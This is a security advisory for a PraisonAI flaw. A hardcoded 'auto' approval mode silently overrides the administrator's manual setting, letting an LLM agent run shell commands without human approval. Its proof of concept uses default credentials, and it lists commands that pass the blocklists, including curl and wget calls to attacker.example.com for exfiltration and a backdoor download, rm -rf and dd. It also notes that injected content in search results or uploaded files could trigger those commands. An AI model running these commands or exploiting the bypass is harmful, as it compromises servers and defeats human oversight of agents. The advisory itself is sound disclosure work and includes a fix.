CVE-2026-56075

Description

## Summary The Chainlit UI modules (`chat.py` and `code.py`) hardcode `config.approval_mode = "auto"` after loading administrator configuration from the `PRAISON_APPROVAL_MODE` environment variable, silently overriding any "manual" or "scoped" approval setting. This defeats the human-in-the-loop approval gate for all ACP tool executions, including shell command execution via `subprocess.run(..., shell=True)`. An authenticated user can instruct the LLM agent to execute arbitrary single-command shell operations on the server without any approval prompt. ## Details The application has a well-designed approval framework supporting `auto`, `manual`, and `scoped` modes, configured via the `PRAISON_APPROVAL_MODE` environment variable and loaded by `ToolConfig.from_env()` at `interactive_tools.py:81-106`. However, both UI modules unconditionally override this after loading: **`chat.py:156-159`:** ```python config = ToolConfig.from_env() # reads PRAISON_APPROVAL_MODE=manual config.workspace = os.getcwd() config.approval_mode = "auto" # hardcoded override, ignoring admin config ``` **`code.py:155-158`:** ```python config = ToolConfig.from_env() config.workspace = os.environ.get("PRAISONAI_CODE_REPO_PATH", os.getcwd()) config.approval_mode = "auto" # same hardcoded override ``` This flows to `agent_tools.py:347-348` in the `acp_execute_command` function: ```python auto_approve = runtime.config.approval_mode == "auto" # always True approved = await orchestrator.approve_plan(plan, auto=auto_approve) ``` The plan is auto-approved without user confirmation and reaches `action_orchestrator.py:458`: ```python result = subprocess.run( step.target, shell=True, # shell execution capture_output=True, text=True, cwd=str(workspace), timeout=30 ) ``` **Command sanitization is insufficient.** Two blocklists exist: 1. `_sanitize_command()` at `agent_tools.py:60-86` blocks: `$(`, `` ` ``, `&&`, `||`, `>>`, `>`, `|`, `;`, `&`, `\n`, `\r` 2. `_apply_step()` at `action_orchestrator.py:449` blocks: `;`, `&`, `|`, `$`, `` ` `` Both only target command chaining/substitution operators. Single-argument destructive commands pass both blocklists: `rm -rf /home`, `curl http://attacker.example.com/exfil`, `wget`, `chmod 777 /etc/shadow`, `python3 -c "import os; os.unlink('/important')"`, `dd if=/dev/zero of=/dev/sda`. ## PoC **Prerequisites:** PraisonAI UI running (`praisonai ui chat` or `praisonai ui code`). Default credentials not changed. ```bash # Step 1: Start the Chainlit UI praisonai ui chat # Step 2: Log in with default credentials at http://localhost:8000 # Username: admin # Password: admin # Step 3: Send a chat message requesting command execution: # "Please run this command for me: cat /etc/passwd" # The LLM agent calls acp_execute_command("cat /etc/passwd") # _sanitize_command passes (no blocked patterns) # approval_mode="auto" → auto-approved at agent_tools.py:347-348 # subprocess.run("cat /etc/passwd", shell=True) executes at action_orchestrator.py:458 # Contents of /etc/passwd returned in chat # Step 4: Demonstrate the override of admin configuration: # Even with PRAISON_APPROVAL_MODE=manual set in the environment, # chat.py:159 overwrites it to "auto" export PRAISON_APPROVAL_MODE=manual praisonai ui chat # Commands still auto-approve because of the hardcoded override ``` **Commands that bypass sanitization blocklists:** - `rm -rf /home/user/documents` — no blocked characters - `chmod 777 /etc/shadow` — no blocked characters - `curl http://attacker.example.com/exfil` — no blocked characters - `wget http://attacker.example.com/backdoor -O /tmp/backdoor` — no blocked characters - `python3 -c "__import__('os').unlink('/important/file')"` — no blocked characters ## Impact - **Arbitrary command execution:** An authenticated user (or attacker with default `admin/admin` credentials) can execute any single shell command on the server hosting PraisonAI, subject only to the OS-level permissions of the PraisonAI process. - **Confidentiality breach:** Read arbitrary files accessible to the process (`/etc/passwd`, application secrets, environment variables containing API keys). - **Integrity compromise:** Modify or delete files, install backdoors, tamper with application code. - **Availability impact:** Kill processes, consume disk/memory, delete critical data. - **Administrator control undermined:** Even administrators who explicitly set `PRAISON_APPROVAL_MODE=manual` to require human approval have their configuration silently overridden, creating a false sense of security. - **Prompt injection vector:** Since the agent also processes external content (web search results via Tavily, uploaded files), malicious content could trigger command execution through the auto-approved tool without direct user intent. ## Recommended Fix Remove the hardcoded override and respect the administrator's configured approval mode. In both `chat.py` and `code.py`: ```python # Before (chat.py:156-159): config = ToolConfig.from_env() config.workspace = os.getcwd() config.approval_mode = "auto" # Trust mode - auto-approve all tool executions # After: config = ToolConfig.from_env() config.workspace = os.getcwd() # Respect PRAISON_APPROVAL_MODE from environment; defaults to "auto" in ToolConfig # Administrators can set PRAISON_APPROVAL_MODE=manual for human-in-the-loop approval ``` Additionally, strengthen `_sanitize_command()` to use an allowlist approach rather than a blocklist: ```python import shlex ALLOWED_COMMANDS = {"ls", "cat", "head", "tail", "grep", "find", "echo", "pwd", "wc", "sort", "uniq", "diff", "git", "python", "pip", "node", "npm"} def _sanitize_command(command: str) -> str: # Existing blocklist checks... # Additionally, check the base command against allowlist try: parts = shlex.split(command) except ValueError: raise ValueError(f"Could not parse command: {command!r}") base_cmd = os.path.basename(parts[0]) if parts else "" if base_cmd not in ALLOWED_COMMANDS: raise ValueError( f"Command {base_cmd!r} is not in the allowed command list. " f"Allowed: {', '.join(sorted(ALLOWED_COMMANDS))}" ) return command ```